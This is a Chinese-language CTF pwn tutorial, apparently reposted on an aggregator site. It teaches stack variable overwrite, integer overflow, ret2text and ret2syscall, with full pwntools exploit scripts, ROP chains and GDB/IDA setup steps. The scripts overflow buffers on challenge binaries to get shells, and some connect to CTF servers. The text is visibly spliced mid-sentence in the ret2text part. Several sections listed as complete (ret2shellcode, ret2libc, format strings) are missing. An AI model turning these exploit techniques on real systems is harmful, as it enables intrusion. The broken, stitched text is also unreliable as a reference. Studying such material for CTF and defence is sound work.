PWN的一些基础知识 您所在的位置:网站首页 x48为什么叫x48 PWN的一些基础知识

PWN的一些基础知识

2024-01-17 17:09| 来源: 网络整理| 查看: 265

前言什么是Pwn?

概念”Pwn”是一个黑客语法的俚语词 ,是指攻破设备或者系统 。发音类似“砰”,对黑客而言,这就是成功实施黑客攻击的声音——砰的一声,被“黑”的电脑或手机就被你操纵了。——————————————————————————————————百度百科

例子

试想有个端口对外开放着某种服务,如果你成功将它pwn掉,获取shell,提权之后这台服务器你就可以为所欲为;

即使无法提权,你也可以使用shell执行一些操作

入门者常用的Pwn方法

√ 代表本文目前更新

栈内变量覆盖 √

整型溢出 √

ROP【全称为Return-oriented programming(返回导向编程)】

ret2text √ ret2shellcode(未启用NX保护,栈可执行) √ ret2libc (可用于绕过NX保护)√ ret2syscall √ ret2csu - 请移步下篇文章pwn进阶(尚未更新)

格式化字符串漏洞 √

构造ROP链 - 请移步下篇文章pwn进阶(尚未更新)

一些话

IDA上静态分析看到的东西有时和实际上运行的情况不一样,所以有时候需要进行动态分析,利用gdb等工具(IDA debug环境也可)

本文提供的程序全部为pyhton3,使用python2.7运行可能会遇到错误

本文篇幅较长,也比较枯燥,需要一些耐心进行阅读、思考

本文写给有c语言基础但是不懂pwn的人,介绍基础方法

开始之前

如果想知道相关工具的配置,请到本文后部分“相关”部分。(非常建议先把工具的使用方法了解一下)

本文可能存在一些错误,如有发现请麻烦指正,感激不尽。

导入简单栈内变量覆盖程序

ciscn_2019_n_1

程序下载: 本站网址/static/post/pwn-rop/ext/bin/ciscn_2019_n_1

checksec

amd64-64-little,为64位小端存储,开启NX保护

运行一下

IDA反编译main函数

直接F5查看c伪代码,没有关键的东西,继续看func函数

func函数

汇编

c伪代码

可以看到gets函数,这是个危险函数,我们从gets入手

程序解释

程序打印“Let’s guess the number.”

程序读取输入,存到v1变量

程序判断v2的值是否为11.28125,是的话就执行system(“cat /flag”)

剩下的略过

可以发现v2并没有要求输入,但是v1可以输入任意数量的字符,由于v1 v2处于同一个栈,将v1输入一定数量的字符导致其溢出,溢出值覆盖v2的值即可

如下,v1首地址与v2首地址相差0x30-0x04也就是48-4 = 44

Exploit1234567from pwn import *#p = remote("pwn.challenge.ctf.show","28176")p = process('./ciscn_2019_n_1')p.recvuntil("Let's guess the number.")payload1 = b'a' *(0x30-0x04) + p64(0x41348000)p.sendline(payload1)p.interactive() Exp解释

到接受完”Let’s guess the number.”这一字符串,程序就发送44个a,再发送11.28125的十六进制形式

需要注意的是,p64()函数中填入浮点数会报错,为了避免这个错误,我们需要先将11.28125转化为十六进制形式

可以使用在线工具,网站在此

小端程序和大端程序

本次使用的程序就是64位的小端程序,关于小端程序和大端程序的区别,其实就是一个存储方式的区别

小端和大端的区别,是会对我们pwn产生影响的,但是我们接触到的pwn程序一般为小端存储,简单了解下即可

1234567大端模式(大尾)* 存储规则:数据的高位存在内存的低位,数据的低位存在内存的高位。* 常见软件:RAM(手机)上的应用多采用大端模式存储小端模式(小尾)* 存储规则:数据的低位存在内存的低位,数据的高位存在内存的高位。* 常见软件:Intel AMD CPU上的应用多采用小端模式存储 当一个变量的值位0x1122,0x11为高字节,0x22为低字节

在大端程序中,0x11存储在内存的低位,而0x22存储在内存的高位

在小端程序中,0x22存储在内存的低位,而0x11存储在内存的高位

如果觉得有些抽象还可以看看这个判断程序(C语言)

来自此处

123456789101112131415161718//大小端测试程序#include #include void checkCPUendian();int main() { checkCPUendian(); return 0;}void checkCPUendian() { union { unsigned int i; unsigned char s[4]; }c; c.i = 0x12345678; printf("%s\n", (0x12 == c.s[0]) ? "大端模式" : "小端模式");} 简单整型溢出M78

欢迎来到M78星云的光之国,开始你的奇妙冒险吧!题目入口:失效了/(ㄒoㄒ)/~~

初步尝试

对其执行checksec

*32位程序

*NX保护也就是栈不可执行

逆向分析

ida打开

先看主函数部分

调用了explorer函数

看过了explore函数和后面的check函数,感觉找不到可以溢出的地方

找后门函数

先把后门函数找到

1234int call_main(){ return system("/bin/sh");}

记录下地址0x08049202

尝试直接运行

不允许的情况

允许的情况

程序要求strlen得出为7才能允许,为啥输入6个a就能成?个人认为因为回车存在”\n”符,程序把换行符”\n”算进去了

反而输入7个a是不能成的

写了个c程序验证,果然如此

开干找溢出目标

可以看到调用了check函数

存在溢出的是strcpy那里,只需要让dest溢出即可,这个dest是下图中的第一句c程序char dest;

为啥?由于字符串复制(strcpy函数)s指针指向的字符数组的大小可以超过dest所在栈空间的最大值(ebp-18h那里)(也就是0x18),存在溢出

关于溢出的的一些知识

这里就要讲一下上溢出了

上溢出存在于有符号型数据类型,一个char型为一个字节,用于C或C++中定义字符型变量,

signed char范围是 -2^7 ~ 2^7-1,即-128到127

假设一个signed char变量的值为127,此时加1,它会变成-128

10b01111111->加1->0b100000000

ctfwiki中解释

1230x7fff (0b0111111111111111)表示的是 32767,但是 0x8000 (0b1000000000000000)表示的是 -32768,用数学表达式来表示就是在有符号短整型中 32767+1 == -32768

既然有上溢出,当然也有下溢出

ctfwiki中解释

下溢出存在于无符号型数据类型

123sub 0x8000, 1 == 0x7fff,对于无符号来说是 32768 - 1 == 32767 是正确的,但是对于有符号来说就变成了 -32768 - 1 = 32767。

要求满足字符长度为7的条件

char存储128的值会因为溢出而变成-128,也就是存储257后实际值就是1,下面有进行条件测试

条件测试1

写了一个c程序进行观察

保存为1.c

123456789101112#include #include #include int main() { char buf; //保持和题目程序一致 char buf1[200]; scanf("%s", buf1); //数组不需要取地址&,或者也可以&buf1[0] buf = strlen(buf1); printf("%d\n", buf); return 0;}

gcc编译

使用-m32参数保证编译32位程序

1gcc 1.c -o 1.o -m32

使用pwntools测试

123456from pwn import *#p = remote("39.96.88.40","7010")p = process('./1.o')payload = (128)*'a'p.sendline(payload)p.interactive()

结果

更多结果

条件测试1总结

也就是输入256+i,存储的就是i(i为整数)

理顺条理

那么对于这道题目,我给它输入262个字符就行,262即256+6,剩下一个字符为“\n”,符合长度7

为啥?本文开头那里“尝试直接运行”部分有说明

构造payload

由于我使用python3,所以需要decode(“iso-8859-1”),python2.7无需此操作

10x18 * 'a' + 4 * 'a' + p32(0x08049202).decode("iso-8859-1") + (262-0x18-4-4) * 'a'

读入的最大大小为0x199u,也就是十进制409,262个字符输入是可行的

payload解释

0x18 * ‘a’ 中的0x18前面说过是dest存储的最大值,超过这个值造成dest变量溢出

汇编显示有leave指令,即mov esp,ebp和 pop ebp

pop ebp也就是说pop时候,出栈用esp寄存器接收数据

4 * ‘a’ 是用于覆盖ebp寄存器的出栈数据(32位程序为4字节,64位程序就要为8字节了),使其出栈

详解ebp和esp寄存器

那么p32(0x08049202).decode(“iso-8859-1”)实际上是p32(0x08049202),是字节码,溢出时使ret指令跳到这个地址,使其执行位于0x08049202的函数

ret指令的作用

(262-0x18-4-4) * ‘a’是为了保证最后发送的为262个字符,-0x18就不多说了,前面已经有0x18个字符‘a’故减去,一个-4是因为前面的4 * ‘a’ 占去四个字符

而再次-4是因为p32(0x08049202)为4个字符的大小,下图使用python的函数len()计算出p32()为四个字符的长度

前面已经说明使用262的原因

Exploit

exploit如下

12345678910from pwn import *p = remote("39.96.88.40","7010")#p = process('./M78')payload = 'a' * 0x18 + 4 * 'a' + p32(0x08049202).decode("iso-8859-1") + (262-0x18-8) * 'a'p.sendlineafter("Your choice?",'1') #代替人工输入,sendlineafter意思是读到了“Your choice?”这个字符串才开始输入p.sendlineafter("Please choose a building","test")#程序要求,随便输几个字符p.sendlineafter("Please input the password", payload)#溢出点p.interactive()

payload其他写法

这样写可能更好理解

12payload = 'a' * (0x18 + 4) + p32(0x08049202).decode("iso-8859-1")payload.ljust(262, "a") 简单ret2text

ret2text的简单理解就是利用.text段

什么时候使用ret2text?通常我们会反编译程序,查看是否有后门函数存在,如果后门函数如system(“/bin/sh”)存在,很有可能可以使用ret2text。

题目来自https://ctf.show/ 的 pwn02

下载程序

提供一个stack文件

checksec

可以看到这是32位的程序,开启NX

运行一下

IDA反编译

可以看到数组s的所在栈空间只能存9个字符,而程序允许50字符的读取,存在栈溢出

pwnme函数如下

还发现后门函数

地址位于0x804850F

程序解释

程序运行后要求用户输入,最多能输入50个字符,输入的字符存到数据类型为char的s变量中

Exploit

语言为python3

1234567from pwn import *#p = remote("pwn.challenge.ctf.show","28176")p = process('./stack')p.recv()#读取的信息无用payload1 = 'a' *9 + 'a' *4 + p32(0x804850F).decode("iso-8859-1")p.sendline(payload1)p.interactive() EXP解释

先使用9个字符填满s变量所在栈,造成溢出,再使用4个字符对ebp寄存器进行覆盖(程序在返回(ret)前会pop ebp,即对ebp进行出栈操作)(由于是32位程序,ebp寄存器能存4个字节,所以是4,64位程序是8)

结构如下:

(使用Windows自带画图工具画的,见谅)

进阶ret2text

程序下载: 本站网址/static/post/pwn-rop/ext/bin/ret2text1

因为找不到想要的在text段有”/bin/sh”字段的程序,所以拿ctfwiki上的一题ret2libc1来讲,应当是类似的

checksec

IDA反编译

存在后门函数,地址为0x08048460,但是只有system函数,不能获取shell

允许输入命令(由command变量)

存在字符串”/bin/sh“

按图示操作

显示

找到字符串”/bin/sh“的地址为0X08048720,可以构造system(“/bin/sh”)

程序解释

输出”RET2LIBC >_ ebx存入了0x***做法:找到pop_ebx_ret这个gadgets | payload:p32(pop_ebx_ret) + p32(0x***) ecx存入0 1234栈顶 0出栈(pop) ecx -> ecx存入0做法:找到pop_ecx_ret这个gadgets | payload:p32(pop_ecx_ret) + p32(0) edx存入0

edx操作同上面ecx

触发中断 123int 0x80做法:找到int 0x80这个gadgets | payload:p32(int_0x80)

完整过程:

1p32(pop_eax_ret) + p32(0xb) + p32(pop_ebx_ret) + p32(0x***) + p32(pop_ecx_ret) + p32(0) + p32(pop_edx_ret) + p32(0) + p32(int_0x80)

如果找到的gadgets为

1pop edx ; pop ecx ; pop ebx ; ret

那么完整过程:

注意参数对应寄存器

1p32(pop_eax_ret) + p32(0xb) + p32(pop_edx_ecx_ebx_ret) + p32(0) + p32(0) + p32(0x***) + p32(int_0x80) 程序

程序下载: 本站网址/static/post/pwn-rop/ext/bin/ret2syscall

程序来自ctfwiki

32位的程序,开启了NX

IDA静态分析反编译的伪c代码

汇编

程序理解

打印两串字符,然后无限制获取输入,存入栈空间为0x64的v4变量中,v4为int型

字符1为:这次,没有system()也没有shellcode。。。

字符2为:你打算怎么做?

思路

我感觉这题可以用ret2libc做

要按照ret2syscall做的话,我已经在上面的“概念”处的”实际操作“已经说明了做法

如何确定适不适合使用ret2syscall?

答案是找gadgets

查找’int’ 1ROPgadget --binary 文件名 --only 'int'

查找’/bin/sh’ 1ROPgadget --binary 文件名 --string '/bin/sh'

查找同时含eax和含pop、ret的gadgets 1ROPgadget --binary 文件名 --only 'pop|ret' | grep 'eax'

需要选地址为0x080bb196那个

查找含pop、ret和含有ebx的gadgets(查找ecx、edx同理) 1ROPgadget --binary 文件名 --only 'pop|ret' | grep 'ebx'

箭头所指的都可以选

或者直接查找含pop、ret和同时含有ebx、ecx和edx的gadgets 1ROPgadget --binary 文件名 --only 'pop|ret' | grep 'ebx' | grep 'ecx' | grep 'edx'

构造payload

错误的payload

123456int_0x80 = 0x08049421bin_sh = 0x80be408pop_eax_ret = 0x080bb196pop_edx_ecx_ebx_ret = 0x0806eb90payload = b"a" * (0x64+4) + p32(pop_eax_ret) + p32(0xb) + p32(pop_edx_ecx_ebx_ret) + p32(0) + p32(0) + p32(bin_sh) + p32(int_0x80)

正确的payload

0x64->0x6C,如果不太懂可以看看前面的”进阶ret2text“部分

123456int_0x80 = 0x08049421bin_sh = 0x80be408pop_eax_ret = 0x080bb196pop_edx_ecx_ebx_ret = 0x0806eb90payload = b"a" * (0x6C+4) + p32(pop_eax_ret) + p32(0xb) + p32(pop_edx_ecx_ebx_ret) + p32(0) + p32(0) + p32(bin_sh) + p32(int_0x80)

v4的地址

ebp的位置

计算偏移量

Exploit12345678910111213from pwn import *p = process('./ret2syscall')int_0x80 = 0x08049421bin_sh = 0x80be408pop_eax_ret = 0x080bb196pop_edx_ecx_ebx_ret = 0x0806eb90payload = b"a" * (0x6C+4) + p32(pop_eax_ret) + p32(0xb) + p32(pop_edx_ecx_ebx_ret) + p32(0) + p32(0) + p32(bin_sh) + p32(int_0x80)p.sendline(payload)p.interactive() 相关Pwn工具pwntools

pwntools由python编写,有python2.7版本和python3版本

1pip install pwntools

1pip3 install pwntools checksec

checksec是pwntools里的工具

==使用方法==

1checksec 文件名 调用pwntools1from pwn import * 处理文件1p = process('./文件名')#来产生一个对象 连接远程机器1p = remote("服务器地址","端口")#来产生一个对象 信息处理接收123p.recv()#接收所有信息p.recvuntil("标志字符")#接收到字符直到标志字符出现p.recv(数字)#接收多少个字符 发送123p.send()#发送p.sendline()#发送结尾带换行p.sendafter("标志字符","信息")#信息只在接收到标志字符后才会发送 数据类型

send()等函数能接受字符串和bytes类型的数据,所以payload可以为str类型

decode(“iso-8859-1”)可以将bytes类型的数据按”iso-8859-1”字符集转换为str类型数据,如下

1payload = 'a' * (0x18 + 4) + p32(0x08049202).decode("iso-8859-1")

也可以为bytes类型,如下

1payload = b'a' * (0x18 + 4) + p32(0x08049202) ELF

参考此文章

1elf = ELF(’./文件名’) #产生一个对象

使用elf查找地址

1234elf.symbols[‘a_function’] 找到 a_function 的地址elf.got[‘a_function’] 找到 a_function的 gotelf.plt[‘a_function’] 找到 a_function 的 pltelf.next(e.search(“some_characters”)) 找到 some_characters 可以是字符串,汇编代码或者某个数值的地址 LibcSearcher

有python2.7版本和python3版本

1pip install LibcSearcher

1pip3 install LibcSearcher

先接收泄露的地址

1puts_addr = u32(p.recv(4))

对其进行自动查找

1234libc = LibcSearcher('puts',puts_addr)base_addr = puts_addr - libc.dump('puts')system_addr = base_addr + libc.dump('system')bin_sh_addr = base_addr + libc.dump('str_bin_sh')

LibcSearcher在python3下老是报连接已重置错误,重试好几次才有一次能用,还不如我自己手动去查找来的快

ROPgadgetGadget是什么

Gadget是以 ret 结尾的指令序列,当我们可以修改某些地址,我们就能控制程序的执行

ROPgadget工具安装1pip install ropgadget ==使用方法==1ROPgadget --binary 文件名

配合grep

1ROPgadget --binary 文件名 | grep "关键字"

查找特定字符

1ROPgadget --binary 文件名 --only "字符" 1ROPgadget --binary 文件名 --string "字符串" GDB安装gdb1sudo apt-get install gdb 安装pwndbg插件

注意,需要git(使用sudo apt install git安装git)

1git clone https://github.com/yichen115/GDB-Plugins

进入pwndbg目录

1cd GDB-Plugins/pwndbg

需要可执行权限

1chmod +x setup.sh

运行下面命令进行安装,可能需要一点时间

1./setup.sh 进入1gdb 文件名 开始执行程序1start

输入n将会单步执行

1n 退出1quit 断点调试

程序会在断点处停止

(breakpoint)下断点

12345678b 行号break 函数名break 行号break 文件名:函数名break 文件名:行号break +偏移量break -偏移量break * 地址

(continue)继续运行程序

1c

(display)输入display b将显示b的值

1display b

(info)查看下过的断点

1info break

(delete)删除断点

编号要在info命令里查看Num显示的数字

12345678delete 编号delete :删除指定断点delete:删除所有断点clearclear 函数名clear 行号clear 文件名:行号clear 文件名:函数名

(disable)和(enable)禁用和启用断点(而不是删除)

12345678910disable 编号disable 断点编号disable display 显示编号disable mem 内存区域enable 编号enable once 断点编号:该断点只启用一次,程序运行到该断点并暂停后,该断点即被禁用。enable delete 断点编号enable display 显示编号enable mem 内存区域

(break 和run)

满足某个条件时激活断点

如满足a等于1时在程序第5行下断点

123break 断点 if 条件,如b 5 if a == 1condition 断点编号:给指定断点删除触发条件,如condition 5condition 断点编号 条件:给指定断点添加触发条件,如condition 5 if a == 1 设置观察点

(watch)当程序访问某个存储单元启用b断点

1watch b

(continue)继续执行

1c 改变变量值1set variable = 显示变量1print 变量 显示栈帧1bt 显示局部变量1bt full 查看内存

(examine) n、f、u是可选的参数。

n: 显示内存的长度

f: 显示的格式,如字符串为s,地址为i

u: 从当前地址往后请求的字节数,默认4byte

1x/

1x/50wx 地址 IDA相关配置调试环境 打开IDA程序目录

打开目录下的dbgsrv文件夹

可以看到支持很多环境

如果是在X86架构的linux上调试,就选linux_server和linux_server64

放到X86_64架构的linux环境下

运行

先赋予可执行权限

12chmod +x linux_serverchmod +x linux_server64

然后运行

123./linux_server或./linux_server64

连接

打开32位的IDA(运行哪个就开哪个)

1、设置debugger

2、连接linux主机

填写参数,密码为linux主机的密码

ip查看

123ip addr show或ip addr show eth0

端口

开始调试

F9运行,一路YES

调试界面

linux主机端可以看到程序运行

写在最后

学习参考:

https://blog.csdn.net/Xuanyaz/article/details/117855179 延迟绑定 https://www.freesion.com/article/2459875127/ ctfshow-pwn题参考 https://blog.csdn.net/qq_43573676/article/details/104305068 大端与小端 https://blog.csdn.net/qinying001/article/details/103266763 ret2libc x64学习 https://blog.csdn.net/qq_33948522/article/details/93880812 ret2syscall的知识 GDB的使用 https://www.cnblogs.com/arnoldlu/p/9633254.html https://www.cnblogs.com/chenmingjun/p/8280889.html

本文更新完成

EOF



【本文地址】

公司简介

联系我们

今日新闻

    推荐新闻

    专题文章
      CopyRight 2018-2019 实验室设备网 版权所有